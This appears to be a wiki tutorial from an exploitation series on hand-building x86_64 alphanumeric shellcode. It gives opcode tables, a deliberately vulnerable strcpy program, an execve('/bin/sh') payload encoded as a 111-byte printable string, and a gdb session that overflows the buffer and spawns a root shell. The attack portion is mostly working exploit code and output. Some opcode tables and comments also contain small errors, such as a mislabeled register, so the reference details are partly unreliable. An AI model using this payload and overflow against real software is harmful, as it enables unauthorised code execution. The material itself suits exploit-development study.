Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode. This is limited to RAX, RCX, and RAX. As with push, the extended register shellcode is prefixed to access 16 bit and general registers. This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers able to be pop(ed).

Pop: X86_64 Extended Registers
Assembly Hexadecimal Alphanumeric ASCII
pop %rax \x58 X
pop %rcx \x59 Y
pop %rax \x5a Z


For general registers, RAX-RCX are prefixed with "A" for the corresponding R8-R10 pop.


Pop: X86_64 General Registers
Assembly Hexadecimal Alphanumeric ASCII
pop %r8 \x41\x58 AX
pop %r9 \x41\x59 AY
pop %r10 \x41\x5a AZ


16 bit registers (using 0x66 or 'f' [sometimes fA] prefix):

Assembly Hexadecimal Alphanumeric ASCII
pop %ax \x66\x58 fX
pop %cx \x66\x59 fY
pop %dx \x66\x5a fZ
pop *%r8w \x66\x41\x58 fAX
pop *%r9w \x66\x41\x59 fAY
pop *%r10w \x66\x41\x5a fAZ

Using push and pop the values of 6 fullsize CPU registers can be set:

  • %rax
  • %rcx
  • %rdx
  • %r8
  • %r9
  • %r8

Or get any values of 16 fullsize CPU registers to the top of the stack:

  • %r8-%r15
  • %rax-%rdi

Prefixes

Examining this next section, there are 5 main registers, and 5 special 64 bit registers that can be push(ed), but not pop(ed):

  • %rbx
  • %rsp
  • %rbp
  • %rsi
  • %rdi

This can be written using alphanumeric bytecode instructions and operands only through the use of any of the 6 full control registers by emulating for mov with push and pop. Using only the registers already accessed, an attempt will be made to get instructions for to set values.

The special register prefix has been identified:

 0x41, 'A'

The word operand override has been identified,

 0x66, 'f'.

Note the identification of all the alphanumeric overrides and prefixes. These overrides are very similar to those for 32 bit platforms.

Hex Value Alpha Value Description
0x36 6  %ss segment override
0x64 d  %fs segment override
0x65 e  %gs segment override
0x66 f 16-bit operand size
0x67 g 16-bit address size
0x41 A 64-bit special register use (%r##)
0x48 H 64-bit register size override
0x40-4f B-P Special 64-bit overrides

Operands

Opcodes used for popping a register can also be used as 'register operands' for more advanced instructions. For example, take this xor instruction:

Assembly Hexadecimal Alpha
<syntaxhighlight lang="asm">xor $0x[byte](%rax),%ebx</syntaxhighlight> \x33\x58\x## 3X?

The %rax register can be changed to %rcx or %rdx using the 0x59 (Y) and 0x5a (Z) opcodes in place of the 0x58 (X) opcode:

Assembly Hexadecimal Alpha
<syntaxhighlight lang="asm">xor $0x[byte](%rcx),%ebx</syntaxhighlight> \x33\x59\x## 3Y?

Whenever there's a controllable register, the notation {reg} is used to recognize it as an option. In the bytecodes and string examples, a '?' is used in the bytecode itself and a '*' to denote the register operand, for example:

Assembly Hexadecimal Alpha
<syntaxhighlight lang="asm">xor $0x[byte]({reg}),%ebx</syntaxhighlight> \x33\x??\x## 3*?

The opcodes for %rax, %rcx, and %rdx are important and thus will be used frequently. When encountering multiple operands, the operand number is used in the notation for readability purposes.

The rbx, rsp, and rbp registers

Identifying the ways to set the rest of the registers while investigating %rbx was not entirely fruitful. Full control over the %rbx register is not available, however, write access to its sub-registers is available:

  •  %ebx
  •  %bx
  •  %bh
  •  %bl

Apon further investigation, this opened up access to multiple additional registers using:

  • Xor
  • Imul
  • Movslq
Assembly Hexadecimal Alpha
<syntaxhighlight lang="asm">xor $0x[byte]({reg64}),{reg32}</syntaxhighlight> \x33\x??\x#1 3*1
imul $0x[dword1],0x[byte2]({reg64}),{reg32}
\x69\x??\x#2\x#1\x#1\x#1\x#1 i*21111
imul $0x[byte1],0x[byte2]({reg64}), {reg32}
\x6b\x??\x#2\x#1 k*21
movslq 0x[byte1]({reg64}), {reg32}
\x63\x??\x#1 c*1

To access the %ss segment, insert the prefix at the beginning of the bytecode of instructions (e.g. "63*?" instead of "3*?"). If preferred to use the special 64 bit registers, 0x41 or "A" is placed at the beginning of the bytecode. If the use of both is required, the %ss segment register prefix first, e.g. '6A3*?' must always be used. When using one of the 64 bit force operators, one can use any of those instructions on a 32 bit register with an override to treat it as its 64-bit counterpart (in this case, 0x48).

Assembly Hexadecimal Alpha
imul   $0x[byte1],0x[byte2]({reg64}),{reg64}
\x48\x6b\x??\x#2\x#1 Hk*21

To set the value of %rbx directly, imul, xor, and movslq can be used. It's similar for other registers:

  •  %rbp
  •  %rsp

Xor

Left over are %rsp, %rbp, %rdi, and %rsi. Taking a closer look at xor, at 0x30 and ending at 0x35 are these valuable xor commands:

Hexadecimal Assembly
0x34 <syntaxhighlight lang="asm">xor $0x##, %al</syntaxhighlight>
0x35 <syntaxhighlight lang="asm">xor $0x########, %eax</syntaxhighlight>
0x48 0x35 <syntaxhighlight lang="asm">xor $0x########, %rax</syntaxhighlight>

0x30 is a multi-byte xor instruction. Requiring at least two operands (even if register denote):

Hexadecimal Assembly
0x30 <syntaxhighlight lang="asm">xor %{16bit}, (%{64bit})</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, (%{64bit},%{64bit},1)</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, (%{64bit},%{64bit},2)</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, 0x[byte](%{64bit})</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, 0x[byte](,%{64bit},1)</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, 0x[byte](,%{64bit},2)</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, 0x[dword](%{64bit})</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, 0x[dword](,%{64bit},1)</syntaxhighlight>
<syntaxhighlight lang="asm">xor %{16bit}, 0x[dword](,%{64bit},2)</syntaxhighlight>

0x31 is as flexible as 0x30. Not all permutations are included for brevity.

Hexadecimal Assembly
0x31 <syntaxhighlight lang="asm">xor %{32bit}, (%{64bit})</syntaxhighlight>

0x32 is just as flexible, although the offsets will change source side rather than destination side. Not all permutations are included for brevity.

Hexadecimal Assembly
0x32 <syntaxhighlight lang="asm">xor (%{64bit}), %{16bit}</syntaxhighlight>

0x33 is the opposite of 0x31 and as flexible. Not all permutations are included for brevity.

Hexadecimal Assembly
0x33 <syntaxhighlight lang="asm">xor (%{64bit}), %{32bit}</syntaxhighlight>

The rsi and rdi registers

Combining the knowledge of xor with the knowledge of the stack. When any data is pushed, the data is accessible at %ss:(%rsp). Knowing this, another register can be used in the available space (e.g. %rcx) to set values on some of the more difficult registers:

  • %rbx
  • %rsp
  • %rbp
  • %rsi
  • %rdi

First, utilise push and pop to simulate 'mov':

<syntaxhighlight lang="asm"> push %rsp; \x54 pop  %rcx; \x59 pop  %rax; \x5a (This just sets the pointer back) </syntaxhighlight>

Two XOR parameters allow index registers to be set, %rsi and %rdi. For now, they will be zero'd out:

<syntaxhighlight lang="asm"> push %rsi; \x56 xor %ss:(%rcx), %rsi; \x36\x48\x33\x31 pop %r8; \x41\x58 push %rdi; \x57 xor %ss:(%rcx), %rdi; \x36\x48\x33\x39 pop %r8 </syntaxhighlight>

Now %rsi and %rdi have been zero'd out. %r14 and %r15 special registers can also be pushed and zeroed out in this fashion. Now "full control" is gained over:

  • %rax
  • %rcx
  • %rdx
  • %rsi
  • %rdi
  • %r8
  • %r9
  • %r10
  • %r14
  • %r15

So far, in this sample, full control has not been utilized over:

  • %rsp
  • %rbp
  • %rbx
  • %r11
  • %r12
  • %r13

Similar to push, controllable data is required before the setting of a register. Where pop is concerned, something might be required to be pushed to the stack first, in this case, only the zero register is required. Due to the way that XOR works, once a zero is registered at all, in this case %rax is used as the zero register, it can be used to get %rbx, %rsp, and %rbp to zero if needed:

To get %rbx:

<syntaxhighlight lang="asm"> xor %ss:0x30(%rcx), %rax; store that value in rax xor %rax, %ss:0x30(%rcx); Null that area of stack imul $0x30,%ss:0x30(%rax),%rbx; 0x30 * 0 = 0 imul $0x30,%ss:0x30(%rax),%rbp; 0x30 * 0 = 0 </syntaxhighlight>

Once the stack space, as well as the destination is set to zero, %rax, %rbp can effectively be mov(ed):

<syntaxhighlight lang="asm"> xor  %rax,%ss:0x30(%rcx); 36 48 31 41 30 xor  %ss:0x30(%rcx),%rbp; 36 48 33 69 30 </syntaxhighlight>

The closest thing to incrementing and decrementing is the ability to use the ins and outs instructions to add or subtract 1,2, or 4 against the %rdi register. This still leaves no significant add or sub. Imul can be used with 16 and 8 bit registers to find division. If %rsi or %rdi are not in use, there is also a magic mov :

<syntaxhighlight lang="asm"> movslq %ss:0x30(%rcx), %rsi xor %rsi, %ss:0x30(%rsi) </syntaxhighlight>

This can come in quite handy when chunking large pieces of data to 0.

Example: Zeroing Out x86_64 CPU Registers

First %rsp is pushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the pointer address matches what is now in %rcx.

<syntaxhighlight lang="asm">

       push %rsp
       pop %rcx
       pop %r8             

</syntaxhighlight>

The following push overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then set back to %rcx using pop.

<syntaxhighlight lang="asm">

       push %rsi
       xor %ss:(%rcx), %rsi
       pop %r8

</syntaxhighlight>

Again using the same form,  %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx.

<syntaxhighlight lang="asm">

       push %rdi
       xor %ss:(%rcx), %rdi
       pop %r8

</syntaxhighlight>

Zeroing out RDX is much simpler.

<syntaxhighlight lang="asm">

       push %rdi
       pop %rdx

</syntaxhighlight>

The following push and pop sets %rax to 0x30.  %al is the lowest order 8 bit subregister of %rax. Since 0x30 resides in %al, the xor effectively zeroes out $rax.

<syntaxhighlight lang="asm">

       push $0x30
       pop %rax
       xor $0x30, %al

</syntaxhighlight>

For %rbx and %rbp we xor %ss:0x30(%rcx), which is first zeroed out, against each register and then xor the register against %ss:0x30(%rcx), which results in each register being zeroed out.

Zero out the %ss:0x30(%rcx) stack segment.

<syntaxhighlight lang="asm">

       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx)

</syntaxhighlight>

xor %rbx into the stack segment and then xor it against rbx to zero.

<syntaxhighlight lang="asm">

       xor %rbx, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbx

</syntaxhighlight>

Rezero the stack segment with %rax.

<syntaxhighlight lang="asm">

       push %rdx
       pop %rax
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx)

</syntaxhighlight>

As before, xor %rbp into the stack segment and then xor it against rbp to zero.

<syntaxhighlight lang="asm">

       xor %rbp, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbp

</syntaxhighlight>

64 bit shellcode: Conversion to alphanumeric code

  • Because of the limited instruction set, the conversion requires many mov emulations via xor, mul, movslq, push, and pop.

bof.c

c3el4.png This is a modified version of bof.c to allow for 200 bytes because the length of the final shellcode exceeds 100 bytes.
 
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]){
        char buffer[200];
        strcpy(buffer,  argv[1]);
        return 0;
}
 

Starting shellcode (64-bit execve /bin/sh)

c3el4.png This was converted to shellcode from the example in 64 bit linux assembly
  • execve('/bin/sh');
 
.section .data
.section .text
.globl _start
_start:
 
 # a function is f(%rdi, %rsi, %rdx, %r10, %r8, %r9).
 # Use zeroed memory to zero out %rsi, %rdi, %rdx
 xor %rdi, %rdi
 push %rdi
 push %rdi
 pop %rsi
 pop %rdx
 
 # Store '/bin/sh\0' in %rdi
 movq $0x68732f6e69622f6a, %rdi
 shr $0x8,%rdi
 push %rdi
 push %rsp
 pop %rdi
 push $0x3b
 pop %rax
 syscall                                # execve('/bin/sh', null, null)
                                        # function no. is 59/0x3b - execve()
 
  • execve('/bin/sh')
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

Shellcode Analysis

Immediately before the syscall:

  •  %rax is set to 0x3b
  •  %rdi is a pointer to '/bin/sh\0'
  •  %rsi and %rdx are null

To reproduce this, because the syscall is binary, it must be written to a location that will eventually be executed ahead of currently executing code. The xor and imul instructions can then be used to set values on registers.

Stack Analysis

c3el4.png These buffer dumps have been shortened for brevity and readability.
[root@ares bha]# gdb -q ./bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb)  r $(perl -e 'print "A"x232;')
Starting program: /home/hatter/bha/bof $(perl -e 'print "A"x232;')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400525 in main ()
(gdb) x/500x $rsp                                     
 0x7fffffffe3c8: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffe3d8: 0xffffe400      0x00007fff      0x00000000      0x00000002
 ..........................
 0x7fffffffe708: 0x2f656d6f      0x68726f76      0x2f736565      0x2f616862
 0x7fffffffe718: 0x00666f62      0x41414141      0x41414141      0x41414141
 0x7fffffffe728: 0x41414141      0x41414141      0x41414141      0x41414141
  • The formula to determine the offset to begin overwriting data from the stack pointer is (return address + shellcode length) - %rsp.
Operation Value Comments


+

-
0x7fffffffe726

0x71

0x7fffffffe3c8

return address
shellcode length (113 characters)
%rsp
=
0x3cf
Calculated Offset from %rsp at time of overflow

The Offset

  • To prepare for xor and imul manipulations, 0x5a is placed into %rax and %rsp is moved into %rcx.
 
        # Set %rcx as stack pointer 
        # and align %rsp 
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax
 
  • Preparing for imul, an xor is used to place 0x0f into %rax, then push %rax to the stack.
 
        # Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       # 0x0f on the stack now.
 
  • Because 0x41 * 0x0f = 0x3cf (975), the offset can be calculated in purely alphanumeric form. Modify this as code distances itself from the stack pointer during an exploit. The offset is stored in %rdi after setting back the stack pointer.
 
        pop %rax                        # add back to %esp
        imul  $0x41, (%rcx), %edi       # %rdi = 0x3cf, a "magic offset" for us
 

The Syscall

  • Now that the offset to an address in front of executing instructions has been obtained, 4 bytes must be nulled for the new instructions to be written:
 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)
 
  • This next xor comes out to 0x0000050f, which when moved onto the stack becomes 0x0f050000. 0x0f05 is the machine code for a syscall.
 
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
 
  • The %rax register now contains 0x050f. Put 0x0f050000 at (%rcx) - then set the stack pointer back.
 
        push %rax
        pop %rax                        # Garbage reg
 
  • A mov emulation is used to mov 0x0f05 from (%rcx) to %rcx + %rdi through the %rsi register, writing the syscall instructions:
 
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 

Arguments

Stack Space

  • Zero out a qword of data starting at %rcx + 0x30 (48 in decimal)
 
        # Allocate stack space
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 

Register Initialization

  • The %rdx, %rdi, and %rsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the stack space previously allocated.
 
        # Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 

String Argument

  • /bin is placed onto the stack at the space allocated at %rcx + 0x30.
 
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)
 
  • /sh\0 is placed onto the stack at the space allocated at %rcx + 0x34.
 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            
 
  • xor is used as a mov emulation to place '/bin/sh\0' into %rdi.
 
        xor 0x30(%rcx), %rdi
 
  • Set the stack pointer back so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push '/bin/sh\0'.
 
        pop %rax
        push %rdi
 

Final Registers

  •  %rsi and %rdx are 0. First, push a byte to meet the sign requirement for movslq, then zero %rdi.
 
        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi       
 
  • Align %rsp and %rcx, then use a mov emulation to place %rsp into %rdi.  %rdi then contains a pointer to '/bin/sh\0'.
 
        pop %rax
        push %rsp
        xor (%rcx), %rdi
 
  •  %rax is set to 59 or 0x3b for the execve() syscall.
 
        xor $0x63, %al
 

Final registers:

  •  %rax = 0x3b
  •  %rdi = pointer to '/bin/sh\0'
  •  %rsi = null
  •  %rdx = null

Final Code

  • x86_64 alphanumeric execve('/bin/sh',null,null) - 111 bytes:
 jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c
c3el4.png Some assemblers prefer the '#' character to the ';' character for comments. User may have to find and replace to get it to assemble properly.
 
        .global _start
        .text
_start:
        ; Set %rcx as stack pointer 
        ; and align %rsp 
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax
 
        ; Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       ; 0x14 on the stack now.
        pop %rax                        ; add back to %esp
        imul  $0x41, (%rcx), %edi       ; %rdi = 0x3cf, a "magic offset" for us
                                        ; This is decimal value 975.
                                        ; If this is too low/high, suggest a 
                                        ; modification to xor of %al for 
                                        ; changing the imul results
 
        ; Write the syscall 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         ; 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        ; Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 
        ; Sycall written, set values now.
        ; allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 
        ; Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 
        ; Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            ; '/bin'  just went onto the stack
 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            ; '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            ; %rdi now contains '/bin/sh\0'
 
 
        pop %rax
        push %rdi
 
        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                ; %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
        xor $0x63, %al

Successful Overflow Test

c3el4.png This shellcode was tested on a modified bof.c to make the buffer 200 bytes in stead of 100 bytes, as the shellcode here exceeds the original buffer size.
[user@host bha]# gdb -q ./bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb) r `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 . "\x26\xe7\xff\xff\xff\x7f";'`
Starting program: /home/hatter/bha/bof `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 .
"\x26\xe7\xff\xff\xff\x7f";'`
process 28444 is executing new program: /bin/bash
[user@host bha]# uname -m
x86_64
[user@host bha]# exit
exit
[Inferior 1 (process 28444) exited normally]
(gdb) 
Alphanumeric shellcode is part of a series on exploitation.
<center>
Alphanumeric shellcode is part of a series on programming.
<center>
</center>